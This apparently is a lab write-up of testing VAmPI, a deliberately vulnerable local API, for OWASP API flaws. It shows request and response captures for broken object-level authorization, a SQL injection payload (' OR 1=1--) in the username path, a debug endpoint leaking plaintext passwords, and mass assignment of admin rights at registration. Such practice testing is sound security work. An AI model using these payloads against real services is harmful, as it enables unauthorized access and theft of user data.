

GHW APIs

Challenge: Test for vulnerabilities

Below are the vulnerabilities found while testing [VAmPI](#) for top 10 API vulnerabilities by OWASP.

1. Broken User Authentication and Broken Object Level Authorization

The API allows users to add books and only the owner of the book should be able to see the secret field for that book. The payload is as below.

```
{
  "book_title": "Designing Data Intensive Applications",
  "secret": "System Design"
}
```

The above book was added by the user below.

The screenshot displays a REST client interface for a POST request to `localhost:5000/users/v1/login`. The request body is a JSON object with `username: "shivam"` and `password: "secretpass"`. The response status is 200 OK, and the response body is a JSON object containing `auth_token`, `message`, and `status`.

```
POST localhost:5000/users/v1/login

{
  "username": "shivam",
  "password": "secretpass"
}
```

```
{
  "auth_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2ODA5NDM0NzIsImh0eCI6MTY4MDk0MzQxMiwic3ViIjoic2hpdmFtIn0.",
  "message": "Successfully logged in.",
  "status": "success"
}
```

Using the access token we try to access the book for the same user and are able to access the secret as well.

GET localhost:5000/books/v1/Designing Data Intensive Applications

Params Authorization Headers (7) Body Pre-request Script Tests Settings

none form-data x-www-form-urlencoded raw binary GraphQL

This request does not have a body

Body Cookies Headers (5) Test Results Status: 200 OK Time: 13 ms Size: 267 B S

Pretty Raw Preview Visualize JSON

```
1 {
2   "book_title": "Designing Data Intensive Applications",
3   "owner": "shivam",
4   "secret": "System Design"
5 }
```

Using the same authorization token I was able to access the secret of a book added by another user. This shows the broken user authentication vulnerability. Also because I was able to access data just by manipulating the Id of the object in the request this also confirms the presence of Broken Object Level Authorization vulnerability.

GET localhost:5000/books/v1/bookTitle4

Params Authorization Headers (7) Body Pre-request Script Tests Settings

none form-data x-www-form-urlencoded raw binary GraphQL

This request does not have a body

Body Cookies Headers (5) Test Results Status: 200 OK Time: 10 ms Size: 246 B S

Pretty Raw Preview Visualize JSON

```
1 {
2   "book_title": "bookTitle4",
3   "owner": "admin",
4   "secret": "secret for bookTitle4"
5 }
```

2. SQL Injection

Able to retrieve user details using SQL injection.

Endpoint: localhost:5000/users/v1/{username}

I was able to extract details of a random user by applying SQL injection instead of passing a valid username as in the screenshot below.

VAmPI / get_user Save ...

GET ▼ localhost:5000/users/v1/' OR 1=1--

Params Authorization Headers (6) Body Pre-request Script Tests Settings

Query Params

Key	Value	Description
Key	Value	Description

Body Cookies Headers (5) Test Results 🌐 Status: 200 OK Time: 8 ms Size: 213 B S

Pretty Raw Preview Visualize JSON ▼ 🔗

```
1 {
2   "username": "name1",
3   "email": "mail1@mail.com"
4 }
```

3. Excessive Data Exposure

The endpoint for fetching details of all the users exposes sensitive data such as user passwords which is a serious vulnerability for the organization.

VAmPI / all_users_all_details Save ...

GET localhost:5000/users/v1/_debug

Params Authorization Headers (6) Body Pre-request Script Tests Settings

Query Params

Key	Value	Description

Body Cookies Headers (5) Test Results Status: 200 OK Time: 12 ms Size: 677 B S

Pretty Raw Preview Visualize JSON ...

```

1  {
2    "users": [
3      {
4        "admin": false,
5        "email": "mail1@mail.com",
6        "password": "pass1",
7        "username": "name1"
8      },
9      {
10       "admin": false,
11       "email": "mail2@mail.com",
12       "password": "pass2",
13       "username": "name2"
14     },
15     {
16       "admin": true,
17       "email": "admin@mail.com",
18       "password": "pass1",
19       "username": "admin"
20     },
21   ]
22 }
```

4. Mass Assignment

The user registration endpoint of VAmPI allows anybody to register as Admin. The request body of the object is simply bound to the User model without any checks which allows any user to become an Admin and perform restricted operations.

VAMPI / register Save

POST localhost:5000/users/v1/register

Params Authorization Headers (8) **Body** Pre-request Script Tests Settings

☐ none ☐ form-data ☐ x-www-form-urlencoded ☒ raw ☐ binary ☐ GraphQL **JSON**

```
1 {
2   "username": "shivam2",
3   "password": "secretpass",
4   "email": "shivamsingh794@gmail.com",
5   "admin": true
6 }
```

Body Cookies Headers (5) Test Results Status: 200 OK Time: 32 ms Size: 257 B

Pretty Raw Preview Visualize **JSON**

```
1 {
2   "message": "Successfully registered. Login to receive an auth token.",
3   "status": "success"
4 }
```

Just set admin property to true...boom you've admin rights and priviledges.

VAMPI / all_users_all_details Save

GET localhost:5000/users/v1/_debug

Params Authorization Headers (6) **Body** Pre-request Script Tests Settings

Query Params

Key	Value	Description
-----	-------	-------------

Body Cookies Headers (5) Test Results Status: 200 OK Time: 12 ms Size: 951 B

Pretty Raw Preview Visualize **JSON**

```
20 {
21   {
22     "admin": false,
23     "email": "sample@gmail.com",
24     "password": "secretpass",
25     "username": "shivam"
26   },
27   {
28     "admin": true,
29     "email": "shivamsingh794@gmail.com",
30     "password": "secretpass",
31     "username": "sharika"
32   },
33   {
34     "admin": true,
35     "email": "shivamsingh794@gmail.com",
36     "password": "secretpass",
37     "username": "shivam2"
38   }
39 }
40 }
```

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